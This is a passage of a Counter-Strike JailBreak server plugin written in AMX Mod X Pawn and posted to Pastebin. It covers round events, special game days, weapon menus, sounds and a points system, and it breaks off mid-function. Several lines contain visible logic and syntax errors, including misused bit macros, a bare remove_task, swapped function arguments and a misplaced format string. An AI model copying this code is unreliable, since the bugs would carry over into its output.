Advertisement
eyal282

Untitled

Dec 23rd, 2012
551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 150.57 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <cstrike>
  4. #include <hamsandwich>
  5. #include <dhudmessage>
  6. #include <fakemeta_util>
  7. #include <engine>
  8. #include <nvault>
  9. #include <fun>
  10. #include <xs>
  11.  
  12. #define VIP_FLAG ADMIN_RESERVATION
  13. #define IsPlayer(%1) (1 <= %1 <= g_max_clients)
  14. #define get_bit(%1,%2) (%1 & 1 << (%2 & 31))
  15. #define set_bit(%1,%2) %1 |= (1 << (%2 & 31))
  16. #define clear_bit(%1,%2) %1 &= ~(1 << (%2 & 31))
  17. #define MAX_NETS 2
  18. #define MAXENTS 1500
  19. #define MAX_SIZE 1012
  20. #define gamename "Extreme-Jail"
  21.  
  22. new Float:g_fWallOrigin[33][3];
  23.  
  24. new g_max_clients, g_PlayerCrowbar, g_PlayerVoice, g_PlayerScout, g_PlayerDildo, g_PlayerStunGun,
  25. g_ShowMenu, beacon_sprite, rar, cashtimer, HamHook:ForwardSecAttackAwp, iFF, iHandler, g_PlayerBH,
  26. timer, HamHook:ForwardSecAttackScout, rounds_elapsed, count, user, gVault, menu_wakeup,
  27. serverpoints, Show_Choose, g_MsgScreenFade, g_PlayerSpeed, g_PlayerGravity, g_iMsgSayText,
  28. g_iMsgStatusText, g_bHasCellKeys, g_iCellKeys, g_GoldenScout,
  29.  
  30.  
  31. wakeup[11], vKey[64], vData[64], g_map[32], floodcounter[33], playerpoints[33], _status[33],
  32. Seconds[33], bet_some[33], bet_team[33], moneybox[MAXENTS], send_delay[33], g_Text[MAX_SIZE], write[6], nextcash,
  33.  
  34. bool:zombieday, bool:nordeagleday, bool:Deathmatch, bool:BoxDay, bool:hns, bool:fd, bool:RunAwayDay, bool:fire, bool:knifeday, bool:nightcrawler, bool:knifematchday, bool:mutect,
  35. bool:grenadeday, bool:actiondays, bool:g_connected[33], bool:get_vip[33],
  36. bool:bet_pointed_out[33], bool:can_pickup[33], bool:g_iSprayMessages=false, bool:g_bFriend,
  37. bool:firststart, bool:footstep[33]=false
  38.  
  39. new const rules[] = "http://game-serv.co.il/pics/games/jail1.html"
  40. new const help[] = "http://game-serv.co.il/pics/games/jail2.html"
  41. new const vote[] = "http://www.game-serv.co.il"
  42.  
  43. new const SongsData[][] = {"Welcome", "BigSong/RainOverMe", "BigSong/Hopa3", "BigSong/MrSaxobeat", "BigSong/LittleBadGirl2", "BigSong/MovesLikeJagge", "BigSong/boomerang", "BigSong/lucenzo", "BigSong/givemeeverything", "BigSong/wherethemgirlsat", "BigSong/Meohav", "BigSong/hangover", "BigSong/Rolling In The Deep", "BigSong/we_found_love", "BigSong/Sexy And I Know It", "BigSong/Takata"}
  44. new const SongsName[][] = {"\yMusic Customized", "Welcome To The Club Now", "Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Moves Like Jagger", "boomerang", "Danza lucenzo", "give me every thing", "where the girls are", "Meohav", "hangover", "Rolling In The Deep", "we found love", "Sexy And I Know It", "Takata", "Stop Music"}
  45. new const SongsNameC[][] = {/* Music Customized*/"Welcome To The Club Now", "Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Moves Like Jagger", "boomerang", "Danza lucenzo", "give me every thing", "where the girls are", "Meohav", "hangover", "Rolling In The Deep", "we found love", "Sexy And I Know It", "Takata", "Stop Music"}
  46. new const MessageServ[][] = {"JailBreak - #1", "HideNSeek - #2", "BombGame - #3", "HideNSeek #BM - #4", "Satla #FunMods - #5", "Balls Mods - #6"}
  47. new const MessageIp[][] = {"Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL"}
  48. new const MessageDay[][] = {"Zombie Day", "Hide'N'Seek Day", "Shark Day", "Free Day", "Night Crawler Day", "RunAway Day","Box Day", "Spartan Day", "Music Menu", "War Day", "Deathmatch", "KnifeDM", "Birth Day", "Knife Day", "Grenade Day", "Deagle Day", "Jump Day", "Rambo Day \r[ NEW ]", "Fire Day \r[ NEW ]", "\rSpecial Day", "\rRandom Day", "\rAdmin Option"}
  49. new const MessageOpt[][] = {"\rEnable No Zoom", "\rDisable No Zoom", "\yCountdown 30 sec", "\yCountdown 60 sec", "\rEnable/Disable Show Sprays"}
  50. new const MessageTypeB[][] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}
  51. new const MessageTypeS[][] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}
  52. new const MessageCDnum[][] = {"5", "10", "15", "20", "25", "30"}
  53. new bellmusic[] = {"sound/Extreme-Jail/bell.wav"}
  54.  
  55. new appmusic[] = "sound/Extreme-Jail/applause.wav"
  56. new model[] = "models/w_money_new.mdl"
  57. new money_sound1[] = "money/money_sound.wav"
  58.  
  59. public plugin_init() {
  60. register_plugin("JailBreak-Wows Pack 1", "6.8", "")
  61.  
  62. register_clcmd("say", "ClientCommandSay")
  63. register_clcmd("say_team", "ClientCommandSay")
  64. register_clcmd("chooseteam", "ActionChooseteam")
  65. register_clcmd("jointeam", "ActionShopMenu")
  66. register_clcmd("say /crowbar", "Crowbar")
  67. register_clcmd("say /nocrowbar", "UnCrowbar")
  68. register_clcmd("say /stungun", "StunGun")
  69. register_clcmd("say /nostungun", "UnStunGun")
  70. register_clcmd("say /dildo", "Dildo")
  71. register_clcmd("say /nodildo", "UnDildo")
  72. register_clcmd("say /stopdeathmatch", "StopDeathMatch")
  73. register_clcmd("say /stopdays", "StopDays")
  74. register_clcmd("radio1", "ActionShopMenu")
  75. register_clcmd("radio2", "ActionShopMenu")
  76. register_clcmd("radio3", "ActionShopMenu")
  77. register_clcmd("fullupdate","fullupdate")
  78. register_clcmd("amx_take_points", "cmd_take_points")
  79. register_clcmd("amx_give_points", "cmd_give_points")
  80. register_clcmd("send", "MainMenuSend")
  81. register_clcmd("donate", "MainMenuSend")
  82. register_clcmd("say /send", "MainMenuSend")
  83. register_clcmd("drop", "DropCMD")
  84. register_clcmd("autobuy", "BlockBuy")
  85. register_clcmd("rebuy", "BlockBuy")
  86.  
  87. register_cvar("bh_enabled", "1")
  88. register_cvar("use_buttons", "1")
  89. register_cvar("bet_enable", "1")
  90.  
  91. RegisterHam(Ham_Spawn, "player", "FwdHamPlayerSpawn", 1)
  92. RegisterHam(Ham_Killed, "player", "FwdHamPlayerKiller", 1)
  93. RegisterHam(Ham_TraceAttack, "func_button", "Ham_UseButton")
  94. RegisterHam(Ham_TakeDamage, "player", "hamTakeDamage")
  95. RegisterHam(Ham_TraceAttack, "func_door", "Fwd_DoorAttack");
  96.  
  97. register_event("Damage", "Event_Damage", "b", "2>0", "3=0")
  98. register_event("CurWeapon", "Event_CurWeapon", "be","1=1")
  99. register_event("DeathMsg", "Event_DeathMsg", "a")
  100. register_event("CurWeapon", "EventCurWeapon2", "be", "1=1", "2!29")
  101. register_event("23", "EventSpray", "a", "1=112")
  102. register_event("StatusValue", "EventStatusValue", "b", "1>0", "2>0")
  103.  
  104. register_logevent("RoundStart", 2, "1=Round_Start")
  105. register_logevent("RoundEnd", 2, "1=Round_End")
  106.  
  107. register_forward(FM_GetGameDescription, "GameDesc")
  108. register_forward(FM_Voice_SetClientListening, "FwdSetVoice")
  109. register_forward(FM_EmitSound , "EmitSound")
  110. register_forward(FM_Touch,"player_Touch")
  111.  
  112. g_max_clients = get_maxplayers()
  113. iFF = get_cvar_pointer("mp_friendlyfire")
  114. iHandler = get_pcvar_num(iFF)
  115. ForwardSecAttackAwp = RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_awp", "OnSecondaryAttack")
  116. ForwardSecAttackScout = RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_scout", "OnSecondaryAttack")
  117. g_MsgScreenFade = get_user_msgid("ScreenFade")
  118. g_iMsgSayText = get_user_msgid("SayText")
  119. g_iMsgStatusText = get_user_msgid("StatusText")
  120.  
  121. get_mapname(g_map, 31)
  122. set_task(0.1, "Read_GameMenu")
  123.  
  124. }
  125.  
  126.  
  127. public plugin_precache()
  128. {
  129. precache_sound("Extreme-Jail/one.wav")
  130. precache_sound("Extreme-Jail/two.wav")
  131. precache_sound("Extreme-Jail/three.wav")
  132. precache_sound("Extreme-Jail/four.wav")
  133. precache_sound("Extreme-Jail/five.wav")
  134. precache_sound("Extreme-Jail/six.wav")
  135. precache_sound("Extreme-Jail/seven.wav")
  136. precache_sound("Extreme-Jail/eight.wav")
  137. precache_sound("Extreme-Jail/nine.wav")
  138. precache_sound("weapons/cbar_hitbod2.wav")
  139. precache_sound("weapons/bullet_hit1.wav")
  140. precache_sound("weapons/bullet_hit2.wav")
  141. precache_sound("weapons/cbar_hit2.wav")
  142. precache_sound("items/medshot4.wav")
  143. precache_sound("items/gunpickup2.wav")
  144. precache_sound("Extreme-Jail/stungun/knife_hit1.wav")
  145. precache_sound("Extreme-Jail/stungun/knife_hitwall.wav")
  146. precache_sound("Extreme-Jail/dildo/dildo_hit1.wav")
  147. precache_sound("Extreme-Jail/dildo/dildo_hit2.wav")
  148. precache_sound("Extreme-Jail/dildo/dildo_hit3.wav")
  149. precache_sound("Extreme-Jail/dildo/dildo_hit4.wav")
  150. precache_sound("Extreme-Jail/dildo/dildo_hitwall.wav")
  151. precache_sound("Extreme-Jail/shop_needpoints.wav")
  152. precache_sound("Extreme-Jail/5050_no.wav")
  153. precache_sound("Extreme-Jail/5050_yes.wav")
  154. precache_sound("Extreme-Jail/JB_Connecting.mp3")
  155. precache_sound("Extreme-Jail/ImposibbleMisson.mp3")
  156. precache_sound("Extreme-Jail/KillEveryBody.mp3")
  157. precache_sound("FirstWrites/5.wav")
  158. precache_sound("FirstWrites/4.wav")
  159. precache_sound("FirstWrites/3.wav")
  160. precache_sound("FirstWrites/2.wav")
  161. precache_sound("FirstWrites/1.wav")
  162. precache_sound("FirstWrites/winner.wav")
  163. precache_sound("FirstWrites/loser.wav")
  164.  
  165. precache_model("models/player/Ex-Guard/Ex-Guard.mdl")
  166. precache_model("models/player/Ex-Woman/Ex-Woman.mdl")
  167. precache_model("models/Extreme-Jail/p_bknucklesEx.mdl")
  168. precache_model("models/Extreme-Jail/v_bknucklesEx-v1.mdl")
  169. precache_model("models/p_crowbar.mdl")
  170. precache_model("models/v_crowbar.mdl")
  171. precache_model("models/Extreme-Jail/p_stungun.mdl")
  172. precache_model("models/Extreme-Jail/v_stungun.mdl")
  173. precache_model("models/Extreme-Jail/p_dildo.mdl")
  174. precache_model("models/Extreme-Jail/v_dildo.mdl")
  175. precache_model("models/Extreme-Jail/p_gravity.mdl")
  176. precache_model("models/Extreme-Jail/v_gravity.mdl")
  177. precache_model("models/Extreme-Jail/v_bunnyhop.mdl")
  178. precache_model("models/Extreme-Jail/p_speed.mdl")
  179. precache_model("models/Extreme-Jail/v_speed.mdl")
  180. precache_model("models/Extreme-Jail/p_Goldenscout.mdl")
  181. precache_model("models/Extreme-Jail/v_Goldenscout.mdl")
  182.  
  183. precache_model(model)
  184. precache_sound(money_sound1)
  185.  
  186. beacon_sprite = precache_model("sprites/zbeam2.spr")
  187. new Formatex[64], i
  188. for(i=0; i<sizeof SongsData; i++) {
  189. formatex(Formatex, 63, "Extreme-Jail/%s.mp3", SongsData[i])
  190. precache_sound(Formatex)
  191. }
  192. }
  193.  
  194. public RoundStart(id) {
  195. new money_ent
  196. while((money_ent=engfunc(EngFunc_FindEntityByString,money_ent,"classname","pdm_money")) != 0)
  197. engfunc(EngFunc_RemoveEntity,money_ent)
  198. remove_task
  199. remove_task(id)
  200. set_task(0.3, "ActionDayViewer")
  201. server_cmd("mp_friendlyfire 0")
  202. if(actiondays) {
  203. actiondays = false
  204. zombieday = false
  205. Deathmatch = false
  206. knifematchday = false
  207. fd = false
  208. hns = false
  209. BoxDay = false
  210. RunAwayDay = false
  211. knifeday = false
  212. grenadeday = false
  213. nordeagleday = false
  214. nightcrawler = false
  215. fire = false
  216. DisableHamForward(ForwardSecAttackAwp)
  217. DisableHamForward(ForwardSecAttackScout)
  218. set_task(5.0, "ZoomEnable")
  219. set_task(10.0, "ZoomEnable")
  220. }
  221. }
  222. public ZoomEnable()
  223. {
  224. DisableHamForward(ForwardSecAttackAwp)
  225. DisableHamForward(ForwardSecAttackScout)
  226. }
  227. public ActionDayViewer()
  228. {
  229. if(menu_wakeup == 7) {
  230. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 80)
  231. set_task(5.0, "ActionRandomDay")
  232. set_task(20.0, "ShowSpecialHook")
  233. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  234. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  235. } else {
  236. new rndctstr[21]
  237. num_to_word(rounds_elapsed, rndctstr, 20)
  238. client_cmd(0, "spk ^"vox/round %s^"",rndctstr)
  239. }
  240. set_task(0.2, "ShowHudMessage")
  241. }
  242.  
  243. public ShowHudMessage()
  244. {
  245. new CurrentTime[9]
  246. new p_playernum = get_playersnum(1)
  247. get_time("%H:%M:%S", CurrentTime, 8)
  248. if(menu_wakeup == 7) {
  249. ColorChat(0, "העש: ^3%d ^1- םינקחש: ^3תבש ^1- הפמ: ^3%s ^1| םוי: ^4%d ^1| דנואר: ^4%s ^1!", rounds_elapsed, g_map, p_playernum, CurrentTime)
  250. ColorChat(0, "Today is special !")
  251. set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
  252. show_hudmessage(0,"[םוי %d]^n[תבש]^n[דחוימ םוי]", rounds_elapsed, CurrentTime)
  253. menu_wakeup = 0
  254. } else {
  255. set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
  256. show_hudmessage(0,"[םוי %d]^n[%s]^n[העש %s]", rounds_elapsed, wakeup, CurrentTime)
  257. ColorChat(0, "העש: ^3%d ^1- םינקחש: ^3%s ^1- הפמ: ^3%s ^1| םוי: ^4%d ^1| דנואר: ^4%s ^1!", rounds_elapsed, wakeup, g_map, p_playernum, CurrentTime)
  258. }
  259. }
  260. public RoundEnd(id)
  261. {
  262. set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 0.5, 0.5, 2.0, 2.0)
  263. show_hudmessage(0,"[רמגנ %d םוי]^n[%s]", rounds_elapsed, wakeup)
  264. rounds_elapsed++
  265. menu_wakeup++
  266. if(menu_wakeup == 1) formatex(wakeup, 10, "ןושאר")
  267. else if(menu_wakeup == 2) formatex(wakeup, 10, "ינש")
  268. else if(menu_wakeup == 4) formatex(wakeup, 10, "יעיבר")
  269. else if(menu_wakeup == 5) formatex(wakeup, 10, "ישימח")
  270. else if(menu_wakeup == 6) formatex(wakeup, 10, "ישיש")
  271.  
  272. for(new i = 1 ; i <= g_max_clients ; i++)
  273. if(IsPlayer(i) && is_user_connected(i) && cs_get_user_team(i) == CS_TEAM_CT && is_user_alive(i)) {
  274. playerpoints[i] += 100
  275. ColorChat(i, " ^4You gained^3 100^4 cash for surviving!")
  276. }
  277. server_cmd("weapontrail 0;amx_wpglow_mode 0")
  278. client_cmd(0, "slot10")
  279. remove_task
  280. remove_task(id)
  281. if(fire) {
  282. set_task(1.0, "EveryBodyDeadNow")
  283. }
  284. if(actiondays) {
  285. actiondays = false
  286. zombieday = false
  287. Deathmatch = false
  288. knifematchday = false
  289. fd = false
  290. BoxDay = false
  291. RunAwayDay = false
  292. fire = false
  293. hns = false
  294. knifeday = false
  295. grenadeday = false
  296. nordeagleday = false
  297. nightcrawler = false
  298. }
  299. }
  300. public FwdHamPlayerSpawn(id) {
  301. if(is_user_connected(id) && is_user_alive(id)) {
  302. fm_strip_user_weapons(id)
  303. set_pdata_int(id, 116, 0)
  304. if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity||g_bHasCellKeys||g_iCellKeys, id||g_GoldenScout))
  305. {
  306. clear_bit(g_PlayerCrowbar, id)
  307. clear_bit(g_PlayerStunGun, id)
  308. clear_bit(g_PlayerDildo, id)
  309. clear_bit(g_PlayerVoice, id)
  310. clear_bit(g_PlayerBH, id)
  311. clear_bit(g_PlayerSpeed, id)
  312. clear_bit(g_PlayerGravity, id)
  313. clear_bit(g_bHasCellKeys, id)
  314. clear_bit(g_iCellKeys, id)
  315. clear_bit(g_GoldenScout, id)
  316. }
  317. fm_give_item(id, "weapon_knife")
  318. if(cs_get_user_team(id) == CS_TEAM_CT && !actiondays)
  319. {
  320. fm_set_user_gravity(id, 800.0 / 800.0)
  321. ResetMaxspeed(id)
  322. fm_give_item(id, "weapon_m4a1")
  323. fm_give_item(id, "weapon_deagle")
  324. fm_give_item(id, "weapon_smokegrenade")
  325. //set_bit(g_PlayerStunGun, id)
  326. //set_task(2.0, "bit", id,_,_, "b")
  327. set_task(4.0, "tazer", id)
  328. set_task(1.0, "WeaponMenu", id)
  329.  
  330. cs_set_user_bpammo(id, CSW_M4A1, 120)
  331. cs_set_user_bpammo(id, CSW_DEAGLE, 70)
  332. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4)
  333.  
  334. cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM)
  335. cs_set_user_model(id, "Ex-Guard")
  336. } else if(get_user_flags(id) & ADMIN_CVAR)
  337. cs_set_user_model(id, "Ex-Woman")
  338. /*else if(is_user_admin(id) || get_vip[id])
  339. cs_set_user_model(id, "vip")*/
  340. else cs_reset_user_model(id)
  341. }
  342. if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity||g_bHasCellKeys||g_iCellKeys, id||g_GoldenScout))
  343. {
  344. clear_bit(g_PlayerCrowbar, id)
  345. clear_bit(g_PlayerStunGun, id)
  346. clear_bit(g_PlayerDildo, id)
  347. clear_bit(g_PlayerVoice, id)
  348. clear_bit(g_PlayerBH, id)
  349. clear_bit(g_PlayerSpeed, id)
  350. clear_bit(g_PlayerGravity, id)
  351. clear_bit(g_GoldenScout, id)
  352. }
  353. }
  354. public WeaponMenu(id)
  355. {
  356. if(cs_get_user_team(id) == CS_TEAM_CT && !actiondays) {
  357. new ChooseWeapon = menu_create("\r[\w Extreme Jail \r]\y Choose Your Weapon", "sub_Weapon_Choosed")
  358. menu_additem(ChooseWeapon, "M4A1 + Deagle + 2 Grenades", "1")
  359. menu_additem(ChooseWeapon, "AK47 + Deagle + 2 Grenades", "2")
  360. menu_additem(ChooseWeapon, "SHOTGUN + Deagle + 2 Grenades", "3")
  361. menu_additem(ChooseWeapon, "MECHINEGUN + Deagle + 2 Grenades", "4")
  362. menu_additem(ChooseWeapon, "AWP + Deagle + 2 Grenades", "5")
  363. menu_additem(ChooseWeapon, "Golden Scout!!!!!!! + Deagle + 2 Grenades [This Choose Can Kill You!!!!!]", "6")
  364.  
  365. menu_display(id, ChooseWeapon)
  366. }
  367. return PLUGIN_HANDLED
  368. }
  369. public sub_Weapon_Choosed(id, ChooseWeapon, item)
  370. {
  371. if(item == MENU_EXIT)
  372. return
  373. new data[6], iName[64]
  374. new access, callback
  375. menu_item_getinfo(ChooseWeapon, item, access, data, 6, iName, 63, callback)
  376.  
  377. new key = str_to_num(data)
  378. switch(key)
  379. {
  380. case 1:
  381. {
  382. fm_strip_user_weapons(id)
  383. fm_give_item(id, "weapon_m4a1")
  384. fm_give_item(id, "weapon_deagle")
  385. fm_give_item(id, "weapon_hegrenade")
  386. fm_give_item(id, "weapon_smokegrenade")
  387. fm_give_item(id, "weapon_knife")
  388.  
  389. cs_set_user_bpammo(id, CSW_M4A1, 255)
  390. cs_set_user_bpammo(id, CSW_DEAGLE, 255)
  391. cs_set_user_bpammo(id, CSW_HEGRENADE, 2)
  392. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2)
  393. }
  394. case 2:
  395. {
  396. fm_strip_user_weapons(id)
  397. fm_give_item(id, "weapon_ak47")
  398. fm_give_item(id, "weapon_deagle")
  399. fm_give_item(id, "weapon_hegrenade")
  400. fm_give_item(id, "weapon_smokegrenade")
  401. fm_give_item(id, "weapon_knife")
  402.  
  403. cs_set_user_bpammo(id, CSW_AK47, 255)
  404. cs_set_user_bpammo(id, CSW_DEAGLE, 255)
  405. cs_set_user_bpammo(id, CSW_HEGRENADE, 2)
  406. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2)
  407. }
  408. case 3:
  409. {
  410. fm_strip_user_weapons(id)
  411. fm_give_item(id, "weapon_m3")
  412. fm_give_item(id, "weapon_deagle")
  413. fm_give_item(id, "weapon_hegrenade")
  414. fm_give_item(id, "weapon_smokegrenade")
  415. fm_give_item(id, "weapon_knife")
  416.  
  417. cs_set_user_bpammo(id, CSW_M3, 255)
  418. cs_set_user_bpammo(id, CSW_DEAGLE, 255)
  419. cs_set_user_bpammo(id, CSW_HEGRENADE, 2)
  420. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2)
  421. }
  422. case 4:
  423. {
  424. fm_strip_user_weapons(id)
  425. fm_give_item(id, "weapon_m249")
  426. fm_give_item(id, "weapon_deagle")
  427. fm_give_item(id, "weapon_hegrenade")
  428. fm_give_item(id, "weapon_smokegrenade")
  429. fm_give_item(id, "weapon_knife")
  430.  
  431. cs_set_user_bpammo(id, CSW_M249, 255)
  432. cs_set_user_bpammo(id, CSW_DEAGLE, 255)
  433. cs_set_user_bpammo(id, CSW_HEGRENADE, 2)
  434. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2)
  435. }
  436. case 5:
  437. {
  438. fm_strip_user_weapons(id)
  439. fm_give_item(id, "weapon_awp")
  440. fm_give_item(id, "weapon_deagle")
  441. fm_give_item(id, "weapon_hegrenade")
  442. fm_give_item(id, "weapon_smokegrenade")
  443. fm_give_item(id, "weapon_knife")
  444.  
  445. cs_set_user_bpammo(id, CSW_AWP, 255)
  446. cs_set_user_bpammo(id, CSW_DEAGLE, 255)
  447. cs_set_user_bpammo(id, CSW_HEGRENADE, 2)
  448. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2)
  449. }
  450. case 6:
  451. {
  452. set_task(1.0, "KillOrGive", id)
  453. }
  454. }
  455. }
  456. public KillOrGive(id)
  457. {
  458. switch(random_num(0,9)) {
  459. case 0,1,2:
  460. {
  461. fm_strip_user_weapons(id)
  462. fm_give_item(id, "weapon_scout")
  463. fm_give_item(id, "weapon_deagle")
  464. fm_give_item(id, "weapon_hegrenade")
  465. fm_give_item(id, "weapon_smokegrenade")
  466. fm_give_item(id, "weapon_knife")
  467.  
  468. cs_set_user_bpammo(id, CSW_SCOUT, 255)
  469. cs_set_user_bpammo(id, CSW_DEAGLE, 255)
  470. cs_set_user_bpammo(id, CSW_HEGRENADE, 2)
  471. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2)
  472. set_bit(g_GoldenScout, id)
  473. Event_CurWeapon(id)
  474. }
  475. case 3,4,5,6,7,8,9:
  476. {
  477. user_kill(id)
  478. }
  479. }
  480. }
  481. public bit(id)
  482. {
  483. set_bit(g_bHasCellKeys, id)
  484. }
  485. public tazer(id)
  486. {
  487. set_bit(g_PlayerStunGun, id)
  488. Event_CurWeapon(id)
  489. }
  490. public StopDays(id)
  491. {
  492. if(get_user_flags(ADMIN_CVAR, id)) {
  493. actiondays = false
  494. zombieday = false
  495. Deathmatch = false
  496. knifematchday = false
  497. hns = false
  498. BoxDay = false
  499. RunAwayDay = false
  500. fd = false
  501. knifeday = false
  502. grenadeday = false
  503. nordeagleday = false
  504. ColorChat(0, "^4Days Stopped")
  505. } else {
  506. ColorChat(id, "You Have No Access To This Command")
  507. }
  508. }
  509. public FwdHamPlayerKiller(id)
  510. {
  511. new players[32], num, ct, t
  512. get_players(players, num)
  513.  
  514. TeamCount(ct, t)
  515. if(t == 1 && ct > 0 && actiondays) {
  516. ColorChat(0, "Day Is Over T Can Do LR")
  517. actiondays = false
  518. zombieday = false
  519. Deathmatch = false
  520. knifematchday = false
  521. hns = false
  522. fd = false
  523. BoxDay = false
  524. RunAwayDay = false
  525. knifeday = false
  526. grenadeday = false
  527. nordeagleday = false
  528. ActionLastTeror()
  529. }
  530. else if(Deathmatch || knifematchday && cs_get_user_team(id) == CS_TEAM_T)
  531. {
  532. static origin[3]
  533. get_user_origin(id, origin)
  534. message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
  535. write_byte(TE_BEAMCYLINDER) // TE id
  536. write_coord(origin[0]) // x
  537. write_coord(origin[1]) // y
  538. write_coord(origin[2]-20) // z
  539. write_coord(origin[0]) // x axis
  540. write_coord(origin[1]) // y axis
  541. write_coord(origin[2]+200) // z axis
  542. write_short(beacon_sprite) // sprite
  543. write_byte(0) // startframe
  544. write_byte(1) // framerate
  545. write_byte(6) // life
  546. write_byte(1000) // width
  547. write_byte(1) // noise
  548. write_byte(random(250)) // red
  549. write_byte(random(250)) // green
  550. write_byte(random(250)) // blue
  551. write_byte(200) // brightness
  552. write_byte(0) // speed
  553. message_end()
  554. emit_sound(id, CHAN_ITEM, "weapons/explode3.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  555.  
  556. set_task(4.0 ,"SpawnUserDM", id)
  557. } else {
  558. message_begin(MSG_ONE_UNRELIABLE, g_MsgScreenFade, _, id)
  559. write_short(12288) // Duration
  560. write_short(12288) // Hold time
  561. write_short(0x0001) // Fade type
  562. write_byte (0) // Red
  563. write_byte (0) // Green
  564. write_byte (0) // Blue
  565. write_byte (255) // Alpha
  566. message_end()
  567.  
  568. set_pev(id, pev_iuser1, 0)
  569. }
  570. return HAM_IGNORED
  571. }
  572. public Fwd_DoorAttack(const door, const id, Float:damage, Float:direction[3], const tracehandle, const damagebits)
  573. {
  574. if(is_valid_ent(door))
  575. {
  576. if(get_bit(g_bHasCellKeys, id))
  577. {
  578. ExecuteHamB(Ham_Use, door, id, 0, 1, 1.0);
  579. entity_set_float(door, EV_FL_frame, 0.0);
  580. clear_bit(g_bHasCellKeys, id);
  581. }
  582. }
  583. return HAM_IGNORED;
  584. }
  585. public SpawnUserDM(id)
  586. {
  587. ExecuteHamB(Ham_CS_RoundRespawn, id)
  588. set_hudmessage(255, 0, 0, -1.0, 0.34, 0, 6.0, 12.0)
  589. show_hudmessage(id, "לעופ 'צטמ דד")
  590. }
  591. public Event_DeathMsg()
  592. {
  593. new Float:velo[3]
  594. new attacker = read_data(1)
  595. new victim = read_data(2)
  596. new headshot = read_data(3)
  597.  
  598. if(is_user_connected(attacker) && is_user_connected(victim) && victim != attacker && cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_CT)
  599. {
  600. new szVName[33], szKName[33]
  601. get_user_name(victim, szVName, 32)
  602. get_user_name(attacker, szKName, 32)
  603.  
  604. playerpoints[victim] -= 50
  605. if(playerpoints[victim] > 50)
  606. make_money(victim, velo)
  607. if(headshot) {
  608. playerpoints[attacker] += 150
  609. ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3HeadShot^4 and Gaind^3 150^4 Cash.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
  610. } else {
  611. static weapon[20]
  612. read_data(4, weapon, sizeof(weapon) - 1)
  613. if(contain(weapon, "grenade") >= 0) {
  614. playerpoints[attacker] += 250
  615. ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3Grenade^4 and Gaind^3 250^4 Cash.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
  616. } else {
  617. playerpoints[attacker] += 100
  618. ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4and Gaind^3 100^4 Cash.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
  619. }
  620. }
  621. ColorChat(victim, "^4You lost^3 50^4 Cash for^3 Suicide")
  622. SaveData(attacker)
  623. }
  624. if(is_user_connected(attacker) && is_user_connected(victim) && victim != attacker && cs_get_user_team(attacker) == CS_TEAM_T && BoxDay)
  625. set_user_health(attacker, 250)
  626. ColorChat(attacker, "^4You Get 250 HP For Kill %s, szVName")
  627. }
  628. public Event_Damage(id, victim, ent, attacker, Float:damage)
  629. {
  630. if(is_user_connected(id) && is_user_alive(id)) {
  631. new AttakerWeapon, AttakerPartHit
  632. get_user_attacker(id, AttakerWeapon, AttakerPartHit)
  633. if(AttakerWeapon != CSW_KNIFE)
  634. return
  635. new Float:Random_Float[3]
  636. for(new i = 0; i < 3; i++) Random_Float[i] = random_float(100.0, 150.0)
  637. Punch_View(id, Random_Float)
  638. }
  639. }
  640. public hamTakeDamage(victim,inflictor,attacker,Float:damage, DamageBits, headshot, body, leg)
  641. if(get_bit(g_PlayerCrowbar, attacker) || get_bit(g_PlayerDildo, attacker) || get_bit(g_PlayerStunGun, attacker))
  642. if(get_user_weapon(attacker) == CSW_KNIFE && cs_get_user_team(victim) != CS_TEAM_T && !actiondays)
  643. SetHamParamFloat(4, damage * 30.0)
  644. else if(RunAwayDay || get_bit(g_GoldenScout, attacker))
  645. if(get_user_weapon(attacker) == CSW_SCOUT)
  646. SetHamParamFloat(4, damage * 1000000.0)
  647. else if(fire)
  648. if(get_user_weapon(attacker) == CSW_M249)
  649. SetHamParamFloat(4, damage = 0)
  650.  
  651. public ev_Health(id)
  652. {
  653. if(is_user_alive(id) && actiondays) {
  654. set_hudmessage(60, 60, 60, 0.02, 0.65, 1, 6.0, 2.1)
